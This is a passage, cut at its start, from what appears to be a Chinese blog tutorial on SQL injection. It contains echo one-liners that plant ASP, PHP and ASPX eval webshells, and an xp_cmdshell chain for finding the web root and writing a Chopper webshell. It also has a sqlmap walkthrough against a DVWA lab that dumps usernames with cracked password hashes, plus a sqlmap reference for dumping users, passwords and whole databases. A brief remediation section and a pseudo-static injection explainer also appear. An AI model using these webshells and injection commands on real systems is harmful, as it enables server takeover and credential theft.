   5.如果echo生成的一句话后门无法执行,可以通过查看对应网站的数据库,获取后台登陆密码,通过后台上传webshelljpg。然后通过copy命令将jgp文件复制为aspx文件,从而获取webshell

技巧:

   1.寻找可写的文件夹,例如c:/windows/temp,以及网站的真实路劲。


   2.通过echo命令生成一句话后门

  echo ^<%eval request(cmd)% ^>^>d:\wwwroot\ok.asp

  echo ^<?php @eval($_POST[cmd]);?^>^>cmd.php

  echo ^<%@ PageLanguage="Jscript%"^>^<^%eval(Request.Item["pass"],"unsafe");%^>^>c:\inetpub\wwwroot\cmd.aspx

  1. MSsQL dbowner权限手工获取webshel过程

具有dbowner角色的用户,能够对数据库执行所有配置和维护操作。例如创建和删除表、存储过程、视图、函数,甚至删除数据库,还可以给其他用户设置权限。

只有增、删、改权限的用户只限于添加、删除和修改记录,其它操作都会受到限制。

第一步 查看当前网站是否为db_owner 权限

and 1=(select is_member(‘db_owner’) );-- 判断当前数据库用户是否为db_owner 权限

第二步:找出网站路径

1.通过报错或baidu google 等查找 通过搜索引擎收录报错的页面看看里面有没有网站路径

2.通过相关语句

;drop table black;create TABLE black(result varchar(7996) NULL, ID int NOT NULL IDENTITY(1,1))–

删除 在创建一个表

;insert into black exec master . . xp_cmdshell ‘dir /s c:\1.aspx’–

通过xp_cmdshell扩展存储搜索出路径并插入到创建的表中

and (select result from black where id=1)>0–

然后在通过错误语句爆出插入到字段的路径

常见配置文件下找路径

php.ini 配置信息 php配置信息文件

my.ini mysql配置文件 记录管理员登陆过的mysql用户名和密码

user.MYD 存储mysql.user 表中的数据库链接密码

NETAbase.xml 查看iis虚拟主机配置

http.conf apache 配置文件

sam windows系统初次安装的密码

3 写一句话木马获取webshell

%20;exec%20master…xp_cmdshell%20’Echo%20"<%eval%20request(“chopper”)%>"%20>>%20c:\wwwtest\iis-xxser.com–wwwroot\muma.asp’–

因为刚才得到了网站在服务器中路径所以现在可以通过xp_cmdshell 扩展存储 在这个路径下写进去一句话木马

通过菜刀连接木马

第二种方法

得到网站路径也可以getwebshell 工具 通过差异备份 来插入一句话木马

  1. public手工获取用户名及密码

需要提前搭建好 lnmp 环境

安装 sqlmapproject-sqlmap

[root@ localhost ~]# tar -xvzf sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz

[root@ localhost ~]# cd sqlmapproject-sqlmap-7eab1bc/

[root@ localhost sqlmapproject-sqlmap-7eab1bc]# python sqlmap.py

解压 unzip DVWA-master 放到网站根目录

[root@ localhost ~]# unzip DVWA-master.zip

[root@ localhost ~]# mv DVWA-master/* /var/www/html/

[root@ localhost ~]# chown apache:apache /var/www/html / -R   

[root@ localhost ~]# vim /var/www/html/config/config.inc.php.dist

 29 $_DVWA[ 'recaptcha_public_key' ]  = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';

 30 $_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';

[root@ localhost ~]# mv /var/www/html/config/config.inc.php.dist /var/www/html/config.php

修改 php.ini

[root@ localhost ~]# vim /etc/php.ini

 815 allow_url_include = On

访问服务 创建测试数据库 用户名 admin 密码 password

 

 

模拟攻

获取数据库信息

[root@ localhost sqlmapproject-sqlmap-7eab1bc]# ./sqlmap.py -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit"  --cookie="security=low; PHPSESSID=seodas3m78pp388d9p2l956k16" -b --current-db  --current-user

......

[16:38:18] [INFO] the back-end DBMS is MySQL

[16:38:18] [INFO] fetching banner

web server operating system: Linux CentOS

web application technology: Apache 2.4.6, PHP 5.4.16

back-end DBMS: MySQL >= 5.0

banner:    '5.5.64-MariaDB'

[16:38:18] [INFO] fetching current user

current user:    'root@localhost'

[16:38:18] [INFO] fetching current database

current database:    'dvwa'

[16:38:18] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.124.71'

[root@ localhost sqlmapproject-sqlmap-7eab1bc]# ./sqlmap.py -u "http://192.168.124.71/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie="security=low; PHPSESSID=hnc9m48irt9e313sk9kt1lsgh4" -D dvwa --tables

......

[16:45:15] [INFO] the back-end DBMS is MySQL

web server operating system: Linux CentOS

web application technology: Apache 2.4.6, PHP 5.4.16

back-end DBMS: MySQL >= 5.0

[16:45:15] [INFO] fetching tables for database: 'dvwa'

Database: dvwa

[2 tables]

+-----------+

| guestbook |

| users     |

+-----------+

[root@ localhost sqlmapproject-sqlmap-7eab1bc]# ./sqlmap.py -u "http://192.168.124.71/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie="security=low; PHPSESSID=hnc9m48irt9e313sk9kt1lsgh4" -D dvwa -T users --columns

......

[16:48:10] [INFO] the back-end DBMS is MySQL

web server operating system: Linux CentOS

web application technology: Apache 2.4.6, PHP 5.4.16

back-end DBMS: MySQL >= 5.0

[16:48:10] [INFO] fetching columns for table 'users' in database 'dvwa'

Database: dvwa

Table: users

[8 columns]

+--------------+-------------+

| Column       | Type        |

+--------------+-------------+

| user         | varchar(15) |

| avatar       | varchar(70) |

| failed_login | int(3)      |

| first_name   | varchar(15) |

| last_login   | timestamp   |

| last_name    | varchar(15) |

| password     | varchar(32) |

| user_id      | int(6)      |

+--------------+-------------+

[root@ localhost sqlmapproject-sqlmap-7eab1bc]# ./sqlmap.py -u "http://192.168.124.71/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie="security=low; PHPSESSID=hnc9m48irt9e313sk9kt1lsgh4" -D dvwa -T users -C user,password --dump

......

Database: dvwa

Table: users

[5 entries]

+---------+---------------------------------------------+

| user    | password                                    |

+---------+---------------------------------------------+

| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |

| admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |

| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   |

| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |

| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |

+---------+---------------------------------------------+

  1. 伪静态突破

1.什么是伪静态注入?

答:“伪静态”顾名思义就是一种表面上看似是静态网页(以.html、.htm等结尾),不存在任何的数据交互,却其实是动态网页,存在数据交互的网站,具有这种特性的网页成为“伪静态网页”。我们看到的伪静态网页其实是经过处理的,将动态网页的id等参数通过URL重写来隐藏,让查看者以为是静态网页。展示出来的是以html一类的静态页面形式,但其实是用PHP一类的动态脚本来处理的。

2.如何辨别伪静态注入的网站?

伪静态一般URL地址格式:

1. http://test.com/php100/id/1/1

2. http://test.com/php100/id/1.html

非伪静态一般URL地址格式:

1. http://test.com/php100/test.php?id=1

 伪静态是一种URL重写的技术,从而达到隐藏传递的参数以及从而达到防止SQL注入的目的。

如果看到一个以.html或者.htm结尾的网页,此时可以通过在控制台(F12或者Fn+F12)中输入:

           javascript:alert(document.lastModified)

来得到网页最后的修改时间,如果得到的时间和现在时间一致,此页面就是伪静态,反之是真静态;因为动态页面的最后修改时间总是当前时间,而静态页面的最后修改时间则是它生成的时间。

  1. Sqi注入漏洞修复

一。使用预编译好的指定语句

为了防止SQL注入攻击,用户输入的地方提交POST参数过来不能直接更改。相反,必须过滤或参数化用户输入。参数语句使用程序代码里内置好的,而不是将用户输入的参数值植入到SQL语句中。在大部分的时候,SQL语句都是可以正常运行的。

一般来说,有两种方法可以确保WEB不易受到SQL注入攻击。一种是使用代码检查,另一种是强制使用程序代码里预编译好的语句。预编译好的语句在运行时将拒绝用户前端输入的任何参数值包括伪造的代码。但是,目前很少有网站能做到这个地步。

防止SQL注入,避免详细的错误消息,黑客可以使用这些消息。标准输入验证机制用于验证所有输入数据的长度、类型、语句和企业规则。

使用专业的网站漏洞修复服务商的检测软件。

但是,这不足以防止SQL注入的攻击。黑客可以实现自动搜索和攻击目标。它的黑客技术甚至可以很容易地应用于其他网站当中去。企业网站的运营者应该使用专业的网站漏洞检测软件去检测网站存在哪些SQL注入漏洞,例如像accunetix软件。可以的完美扫描网站当前存在的所有漏洞,可以挖掘SQL注入漏洞。最后,企业在网络应用程序开发过程的所有阶段执行网站源代码的安全检查。

首先,在部署网站上线之前应该进行网站的安全测试,这一点很重要可以避免后期遇到重大的攻击与损失。企业网站在部署完毕后,还应使用网站漏洞检测软件和域名监控工具对网站进行压力与漏洞测试。这就是如何防御SQL注入攻击,如果您对如何防止SQL注入攻击不是太懂的话,建议找专业的网站安全公司来帮您解决漏洞,国内像SINE安全,鹰盾安全,绿盟,启明星辰,深信服都是比较不错的网络安全公司,来防止网站受到SQL注入攻击。

  1. sqlmap注入使用

1.sqlmap简介

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

Sqlmap采用了以下5种独特的SQL注入技术

基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入

基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断

基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中

联合查询注入,在可以使用Union的情况下注入

堆查询注入,可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

2.初级扫描方案

探测是否存在sql注入漏洞

对于不用登录的网站,直接指定其URL:直接扫到数据库类型为mysql数据库(输入y继续):

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

扫描出id部分存在boolean盲注:

GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable               

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

扫描完成后,sqlmap给出了一些验证漏洞的payload信息:

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=1' AND 5728=5728 AND 'IxVn'='IxVn

    Type: error-based

    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)

    Payload: id=1' AND GTID_SUBSET(CONCAT(0x716a6b7171,(SELECT (ELT(8185=8185,1))),0x716b7a6a71),8185) AND 'QMiy'='QMiy

    Type: time-based blind

    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)

    Payload: id=1' OR SLEEP(5)#

    Type: UNION query

    Title: Generic UNION query (NULL) - 3 columns

    Payload: id=-4446' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7171,0x697148456f7242714a57456c4c6541624b4a57775163786775634c564b72556b78505a5457584d70,0x716b7a6a71)-- -

扫描结果:

[06:28:00] [INFO] the back-end DBMS is MySQL

web application technology: Nginx

back-end DBMS: MySQL >= 5.6

对于需要登录的网站,我们需要指定其cookie

我们可以用账号密码登录,然后用抓包工具抓取其cookie填入

sqlmap -u  "http://xxx/sqli/Less-1/?id=1"   --cookie="抓取的cookie"

对于是post提交数据的URL,我们需要指定其data参数���

sqlmap -u "http://xxx/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"

我们也可以通过抓取 http 数据包保存为文件

这样,我们就可以不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便。

如下,我们保存网站的访问数据包为data.txt文件:

 

可以看到,我的网站存在防CSRF攻击,sqlmap注入失败:

 

查看数据库信息

查看数据库的所有用户:

sqlmap -u "http://xxx/Less-1/?id=1" --users

查看数据库所有用户名的密码:

sqlmap -u "http://xxx/Less-1/?id=1" --passwords

查看数据库当前用户:

sqlmap -u "http://xxx/Less-1/?id=1" --current-user

扫到当前用户信息:

current user: ‘sqlilabs@localhost’

判断当前用户是否有管理权限:

sqlmap -u "http://xxx/Less-1/?id=1" --is-dba

当前用户不是root用户:

current user is DBA: False

列出数据库管理员角色:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --roles

查看所有的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dbs

查看当前的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --current-db

得到当前的数据库信息:

[03:25:33] [INFO] fetching current database

current database: ‘security’

爆出指定数据库(security)中的所有的表:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --tables

得到所有表的信息:

Database: security

[4 tables]

±---------+

| emails |

| referers |

| uagents |

| users |

±---------+

爆出指定数据库指定表中的所有的列:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --columns

爆出指定数据库指定表指定列下的数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users -C username --dump

爆出该网站数据库中的所有数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小武很忙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值